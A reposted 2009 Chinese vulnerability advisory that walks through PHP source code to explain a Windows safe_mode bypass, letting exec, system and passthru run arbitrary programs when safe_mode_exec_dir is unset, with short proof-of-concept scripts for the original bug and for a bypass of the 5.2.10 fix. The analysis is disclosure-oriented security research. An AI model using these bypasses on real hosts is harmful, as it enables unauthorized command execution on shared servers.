首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>漏洞资料>文章内容
安全模式下exec等函数安全隐患
来源:http://www.80vul.com 作者:80vul-B 发布时间:2009-06-22  
安全模式下exec等函数安全隐患

author: 80vul-B
team:http://www.80vul.com
date:2009-05-27
updata:2009-6-19

-----------------updata---------------------------------------
昨天php5.2.10出来了,fix了PCH-006里提到的bug:

Fixed bug #45997 (safe_mode bypass with exec/system/passthru (windows only))

然而遗憾的是还有问题,看看php是咋fix这个的:

...
        b = strrchr(cmd, PHP_DIR_SEPARATOR);
#ifdef PHP_WIN32
        if (b && *b == '\\' && b == cmd) {
// 注意标红的代码:p
            php_error_docref(NULL TSRMLS_CC, E_WARNING, "Invalid absolute path.");
            goto err;
        }
#endif
...

恩,fix后执行exec('\dir')会报错,但是exec('80vul\b\dir')依旧会执行:)

PoC:

<?php
//updata:2009-6-19
// safe_mode=On and safe_mode_exec_dir not set in php.ini
// test on win32

	echo exec('80vul\b\dir');
//	system('80vul\b\dir');
//	passthru('80vul\b\dir');

?>
-----------------------------------------------------------------

一 前言

  就在昨天milw0rm上公布了一个非常有意思的漏洞:PHP <= 5.2.9 Local Safemod Bypass Exploit (win32).作者看到公告后,在php源代码基础上分析了下这个问题的根本原因,于是就有本文.

二 描叙

  在php手册了有一节:<被安全模式限制或屏蔽的函数> 给出了受安全模式影响的一些函数如:
  
backtick operator 本函数在安全模式下被禁用。 
shell_exec()(在功能上和 backticks 函数相同) 本函数在安全模式下被禁用。 
exec() 只能在 safe_mode_exec_dir 设置的目录下进行执行操作。基于某些原因,目前不能在可执行对象的路径中使用 ..。escapeshellcmd() 将被作用于此函数的参数上。  
system() 只能在 safe_mode_exec_dir 设置的目录下进行执行操作。基于某些原因,目前不能在可执行对象的路径中使用 ..。escapeshellcmd() 将被作用于此函数的参数上。  
passthru() 只能在 safe_mode_exec_dir 设置的目录下进行执行操作。基于某些原因,目前不能在可执行对象的路径中使用 ..。escapeshellcmd() 将被作用于此函数的参数上。  
popen() 只能在 safe_mode_exec_dir 设置的目录下进行执行操作。基于某些原因,目前不能在可执行对象的路径中使用 ..。escapeshellcmd() 将被作用于此函数的参数上。  

  细心的朋友可能发现了在安全模式下,对于exec()/system()/passthru()/popen()这4个函数不是被禁用的,只是需要在safe_mode_exec_dir目录下执行,但当safe_mode=on且safe_mode_exec_dir为空时[默认为空],php在处理这一过程中存在安全隐患,在windows下exec()/system()/passthru()可以通过引入\来执行程序:)
[ps:popen()不存在这个问题,文章后面会给出原因.]

三 代码分析:

以exec()函数为例分析下源码:

// exec.c
PHP_FUNCTION(exec)
{
	php_exec_ex(INTERNAL_FUNCTION_PARAM_PASSTHRU, 0);
}
// system(),passthru()函数也是调用的php_exec_ex 但popen()不是 
...
static void php_exec_ex(INTERNAL_FUNCTION_PARAMETERS, int mode)
{
	char *cmd;
	int cmd_len;
	zval *ret_code=NULL, *ret_array=NULL;
	int ret;
...
		if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "s|z/z/", &cmd, &cmd_len, &ret_array, &ret_code) == FAILURE) {
			RETURN_FALSE;
		}
...
	if (!ret_array) {
		ret = php_exec(mode, cmd, NULL, return_value TSRMLS_CC);
...
int php_exec(int type, char *cmd, zval *array, zval *return_value TSRMLS_DC)
{
...
	if (PG(safe_mode)) {
		if ((c = strchr(cmd, ' '))) {
			*c = '\0';
			c++;
		}
// 取cmd中的参数部分

		if (strstr(cmd, "..")) {
			php_error_docref(NULL TSRMLS_CC, E_WARNING, "No '..' components allowed in path");
			goto err;
		}
// 不允许使用..来跳转目录 ,这个也是php手册描叙不让..的处理代码

		b = strrchr(cmd, PHP_DIR_SEPARATOR);
// 在win下PHP_DIR_SEPARATOR为\,*nix下为/,具体定义在main/php.h
// 如果cmd是80vul\b\dir,那么这部分取得的值是\dir

		spprintf(&d, 0, "%s%s%s%s%s", PG(safe_mode_exec_dir), (b ? "" : "/"), (b ? b : cmd), (c ? " " : ""), (c ? c : ""));
// 这句是这个安全隐患的关键处
// 如果php.ini中没有设置safe_mode_exec_dir的话,80vul\dir经过上面的处理为\dir[如果直接提交dir则会被处理为/dir]
// 这个也是需要"safe_mode_exec_dir为空时[默认为空]"的原因

		if (c) {
			*(c - 1) = ' ';
		}
		cmd_p = php_escape_shell_cmd(d);
// 这里调用了php_escape_shell_cmd处理

...
#ifdef PHP_WIN32
	fp = VCWD_POPEN(cmd_p, "rb");
#else
	fp = VCWD_POPEN(cmd_p, "r");
#endif
...
char *php_escape_shell_cmd(char *str) {
	register int x, y, l;
	char *cmd;
	char *p = NULL;
	
	TSRMLS_FETCH();

	l = strlen(str);
	cmd = safe_emalloc(2, l, 1);
	
	for (x = 0, y = 0; x < l; x++) {
// 这里用的strlen,所以这个函数是not safe binary
		int mb_len = php_mblen(str + x, (l - x));

		/* skip non-valid multibyte characters */
		if (mb_len < 0) {
			continue;
		} else if (mb_len > 1) {
			memcpy(cmd + y, str + x, mb_len);
			y += mb_len;
			x += mb_len - 1;
			continue;
		}
// 这部分代码是为了补se牛提出的那个编码问题:p
// http://www.sektioneins.de/advisories/SE-2008-03.txt

		switch (str[x]) {
...
			case '\\':
...
#ifdef PHP_WIN32
			/* since Windows does not allow us to escape these chars, just remove them */
			case '%':
				cmd[y++] = ' ';
				break;
// 如果是win下的话,就把\等特殊字符去掉
// 那么\dir经过此函数处理后就变成dir了:)
#endif
				cmd[y++] = '\\';
				/* fall-through */
			default:
				cmd[y++] = str[x];
...

// tsrm_win32.c
TSRM_API FILE *popen_ex(const char *command, const char *type, const char *cwd, char *env)
{
...
	cmd = (char*)malloc(strlen(command)+strlen(TWG(comspec))+sizeof(" /c "));
	sprintf(cmd, "%s /c %s", TWG(comspec), command);
	if (!CreateProcess(NULL, cmd, &security, &security, security.bInheritHandle, NORMAL_PRIORITY_CLASS|CREATE_NO_WINDOW, env, cwd, &startup, &process)) {
// 调用CreateProcess创建线程,执行命令
		return NULL;
	}

下面看下popen()的代码:

PHP_FUNCTION(popen)
{
....
	if (PG(safe_mode)){
		b = strchr(Z_STRVAL_PP(arg1), ' ');
		if (!b) {
			b = strrchr(Z_STRVAL_PP(arg1), '/'); 
\\直接使用的 / ,根本没有考虑windows系统下对\的支持,所以也就不存在上面的问题
		} else {
			char *c;
			c = Z_STRVAL_PP(arg1);
			while((*b != '/') && (b != c)) {
				b--;
			}
			if (b == c) {
				b = NULL;
			}
		}
		
		if (b) {
			spprintf(&buf, 0, "%s%s", PG(safe_mode_exec_dir), b);
		} else {
			spprintf(&buf, 0, "%s/%s", PG(safe_mode_exec_dir), Z_STRVAL_PP(arg1));
		}

		tmp = php_escape_shell_cmd(buf);
		fp = VCWD_POPEN(tmp, p);  
....

四 测试代码

PoC:

<?php

// safe_mode=On and safe_mode_exec_dir not set in php.ini
// test on win32

	echo exec('\dir');
//	system('\dir');
//	passthru('\dir');

?>

五 实际利用:

PHP <= 5.2.9 SafeMod Bypass Vulnerability [by www.abysssec.com]
http://www.milw0rm.com/exploits/8799

 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·XSOK环境变量本地命令执行漏洞
·N点虚拟主机管理系统 致命漏洞。
·南方数据企业网站管理系统V10.0
·动网(DVBBS)Version 8.2.0 后
·Solaris 10 telnet漏洞及解决
·破解无线路由器密码,常见无线密
·Nginx %00空字节执行php漏洞
·WinWebMail、7I24提权漏洞
·XPCD xpcd-svga本地缓冲区溢出漏
·Struts2多个漏洞简要分析
·ecshop2.72 api.php 文件鸡肋注
·Discuz!后台拿Webshell 0day
  相关文章
·ToolTalk rpc.ttdbserverd _tt_i
·Php168的一个本地文件包含漏洞
·QQmail Multiple Xss Vulnerabil
·乘风多用户PHP统计系统 v4.0 注
·老Y文章管理系统注射0day
·FF3的《moz-binding: url》未限
·第一回:DOM沙盒 vs 跨網站腳本
·DirectShow 0DAY第二波警告
·黑洞的ASP上线系统的一个漏洞
·Sun One WebServer 6.1 JSP Sour
·Joomla! HTTP头跨站脚本执行漏洞
·风讯 4.0 SP7 getshell 0day
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved